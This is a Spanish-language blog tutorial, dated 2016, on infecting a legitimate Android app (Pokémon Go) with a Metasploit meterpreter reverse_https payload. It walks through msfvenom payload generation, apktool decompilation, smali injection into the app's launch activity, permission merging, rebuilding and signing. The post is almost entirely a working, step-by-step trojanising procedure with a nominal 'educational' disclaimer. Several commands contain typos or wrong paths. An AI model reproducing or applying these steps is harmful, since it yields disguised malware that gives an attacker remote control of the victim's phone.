viernes, 7 de octubre de 2016

Infectando apk


Hola a todos.

Antes de empezar, quiero, como ya sabréis, que todos estos posts son para fines educativos, y no me hago responsable del uso que hagáis con las informaciones contenidas en este blog.

Esto hay que señalarlo por lo delicada que es la información de este post.

Además, te invito a que me sigas tanto en twitter @manugomez1977, en instagram manugomez1977 y en facebook en la Página Manugomez1977. Así como a que pinches en la publicidad para poder seguir con los posts.

En el día de hoy vamos a ver cómo podremos infectar una app legítima de android con un payload hecho con msfvenom.

Podréis comprobar, según las capturas de pantalla, que me va a durar varios días, porque la cosa es un poquito larga.

En primer lugar, instalaremos la versión apktool de https://ibotpeaches.github.io/Apktool/install , da igual que tengamos la apktool instalada por defecto en nuestro Kali, ya que no va bien. En Kali 1 moto, no haría falta. Sólo hay que tener cuidado que cambian los parámetros.



Debéis seguir los pasos de instalación que tenéis. Lo obviaré porque está bien explicado.

Una vez instalado, estará en /usr/local/bin

Deberéis instalar también Android Studio. Lo podeís descargar de https://developer.android.com/studio/index.html .

Crearemos el payload

msfvenom -p android/meterpreter/reverse_https LHOST=192.168.1.134 LPORT=4895 -o meterpreter.apk



meteré meterpreter.apk y la app víctima, en mi caso pokemongo.apk (jajajaja) en la carpteta pokemongo (llamarla como queráis, es indiferente).

Ahora, descompilamos meterpreter.apk y pokemongo.apk

/usr/local/bin/apktool d -f -o payload /root/meterpreter.apk

Meterá los archivos dentro del directorio payload



/usr/local/bin/apktool d -f -o victima /root/meterpreter.apk

Meterá los archivos dentro del directorio victima



Nos vamos a /root/victima/smali/com y creamos el directorio metasploit.

Nos vamos a /root/victima/smali/com/metasploit y creamos el directorio stage.



Copiamos todos los archivos .smali de payload/smali/com/metasploit/stage y los pegamos en victima/smali/com/metasploit/stage



Abrimos el fichero AndroidManifest.xml de la aplicación víctima y buscamos una etiqueta <activity> que contenga las líneas

<action android:name=”android.intent.action.MAIN”/>
<category android:name=”android.intent.category.LAUNCHER”/>



En la misma etiqueta <activity>, buscamos android:name= .El valor de atributo estará detrás.

android:name=VALORDELATRIBUTO.

Nos fijaremos que, entre cada parámetro, va a haber dos puntos ':'.

La actividad main de la aplicación víctima será el valor del atributo, cambiando los dos puntos por /.

Por lo tanto, la actividad main, en nuestro caso, será

victima/smali/com/unity3d/player/UnityPlayerNativeActivity.smali



Abrimos ese fichero




Buscamos el método onCreate

;->onCreate(Landroid/os/Bundle;)V




No cerramos el fichero y, en otra terminal, abrimos el fichero

victima/smali/com/metasploit/stage/MainService.smali

Buscamos

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V



Copiamos esta línea y la pegamos justo debajo del método onCreate del fichero victima/smali/com/unity3d/player/UnityPlayerNativeActivity.smali



Guardamos (por supuesto).

Ahora, abrimos, por un lado

/victima/AndroidManifest.xml

y por otro

/payload/AndroidMainfest.xml

En la imagen de la izquierda veremos el AndroidManifest.xml de la aplicación víctima y en la derecha, el del payload



Copiamos los permisos del payload que no estén en los de la app víctima, en el AndroidManifest.xml de esta última. Ten cuidado de no repetirlos y de que no te falte ninguno, pues no funcionará. Hay que tener definidos TODOS los permisos.



Guardamos el último fichero y salimos.

Ahora queda recompilar la aplicación víctima (repito, en mi caso, pokemongo).

/usr/local/bin/apketool b /root/original



El archivo apk de la aplicación infectada se grabará en el directorio

/victima/dist/



Ahora, queda por firmar la app infectada, puesto que android sólo ejecuta apps firmadas.

jarsigner -verbose -keystore /root/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/pokemongo/victima/dist/pokemongo.apk androiddebugkey

Si no funciona, quitar la parte de -sigalg
 
 



Para crear el debug.keystore:

Creamos el directorio /root/.android

keytool -genkey -v -keystore /root/.android/degug.keystore -storepass android -allias androiddebugkey -keypass android -dname “DN=Android Debug,O=Android,C=ES”


Happy hacking




No hay comentarios:

Publicar un comentario

Nota: solo los miembros de este blog pueden publicar comentarios.